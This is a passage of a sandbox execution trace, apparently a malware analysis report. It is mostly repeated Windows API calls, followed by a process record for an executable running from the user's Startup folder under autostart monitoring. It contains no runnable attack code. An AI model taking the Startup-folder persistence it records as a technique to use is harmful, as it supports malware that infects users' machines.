dwMilliseconds=0xffffffff) returned 0x0 [0212.447] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.447] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.447] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.447] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.447] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.447] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.447] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.447] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.448] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.448] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.448] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.448] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.448] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.666] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.666] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.667] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.667] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.667] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.667] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.667] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.667] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.667] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.667] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.668] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.668] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.668] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.668] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.668] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.668] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.668] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.668] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.669] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.669] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.669] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.669] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.669] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.669] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.669] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.670] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.670] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.670] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.670] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.670] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.670] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.670] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.670] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.670] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.671] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.671] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.671] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.671] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.671] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.671] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.671] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.672] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.672] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.672] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.672] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.672] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.672] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.672] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.672] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.673] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.673] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.673] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.673] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.673] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.673] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.673] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.674] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.674] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.674] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.674] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.674] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.674] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.674] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.675] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.675] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.675] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.675] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.675] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.676] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.676] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.676] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.676] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.676] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.677] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.677] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.677] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.677] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.677] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.677] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.678] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.678] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.678] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.678] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.678] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.678] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.679] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.679] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.679] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.679] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.679] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.679] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.680] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.680] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.680] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.680] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.680] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.680] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.681] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.681] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.681] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.681] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.681] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.681] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.681] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.681] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.681] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.681] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.682] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.682] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.682] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.682] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.682] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.682] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.682] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.682] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.682] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.682] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.683] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.683] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.683] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.683] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.683] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.683] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.684] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.684] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.684] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.684] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.684] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.684] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.684] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.685] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.685] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.685] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.685] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.685] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.686] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.686] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.686] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.686] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.686] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.686] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.686] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.686] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.687] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.687] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.687] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.687] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.687] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.687] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.687] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.687] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.687] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.688] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.688] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.688] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.688] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.688] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.688] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.688] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.688] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.688] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.689] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.689] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.689] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.689] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.689] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.689] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.689] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.689] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.689] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.690] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.690] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.690] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.690] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.690] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.690] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.690] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.690] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.691] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.691] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.691] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.691] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.691] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.691] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.691] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.691] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.691] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.692] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.692] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.692] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.692] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.692] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.692] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.692] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.692] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.692] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.693] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.693] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.693] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.693] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.693] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.693] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.693] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.694] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.694] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.694] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.694] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.694] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.694] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.694] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.694] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.694] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.694] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.695] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.695] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.695] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.695] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.695] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.695] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.696] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.696] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.696] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.696] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.696] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.696] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.696] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.696] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.697] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.697] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.697] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.697] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.697] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.697] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.697] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.697] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.698] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.698] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.698] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.698] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.698] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.698] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.698] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.698] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.699] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.699] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.699] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.699] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.699] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0247.699] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0274.733] GetProcessHeap () returned 0xc10000 [0274.733] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0x39025c0 [0274.733] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0274.733] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75cc6b50 [0274.734] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0274.734] GetProcessHeap () returned 0xc10000 [0274.734] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39025c0 | out: hHeap=0xc10000) returned 1 [0274.734] SetEvent (hEvent=0x2fc) returned 1 [0274.734] SetEvent (hEvent=0x2f8) returned 1 [0274.734] SetEvent (hEvent=0x300) returned 1 [0274.734] GetProcessHeap () returned 0xc10000 [0274.734] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x37c0020 | out: hHeap=0xc10000) returned 1 [0274.739] GetProcessHeap () returned 0xc10000 [0274.739] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc4d7c8 | out: hHeap=0xc10000) returned 1 [0274.739] GetProcessHeap () returned 0xc10000 [0274.739] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33a1f88 | out: hHeap=0xc10000) returned 1 [0274.740] GetProcessHeap () returned 0xc10000 [0274.740] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33b1f90 | out: hHeap=0xc10000) returned 1 Thread: id = 85 os_tid = 0xe80 Thread: id = 86 os_tid = 0xe84 Thread: id = 87 os_tid = 0xf1c Process: id = "10" image_name = "mjhrrw.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe" page_root = "0x21d8f000" os_pid = "0xca0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0xa20" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00018d54" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 47 os_tid = 0xca4 [0205.524] GetProcessHeap () returned 0x680000 [0205.524] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x693240 [0205.524] GetProcessHeap () returned 0x680000 [0205.524] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x34c0) returned 0x6a0688 [0205.536] GetProcessHeap () returned 0x680000 [0205.536] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x300) returned 0x69e2e8 [0205.536] GetProcessHeap () returned 0x680000 [0205.536] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x69f828 [0205.537] GetTickCount () returned 0x1142740 [0205.537] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x4ff738, cchData=32 | out: lpLCData="\x03") returned 16 [0205.538] GetProcessHeap () returned 0x680000 [0205.538] RtlAllocateHeap (HeapHandle=0x680000, 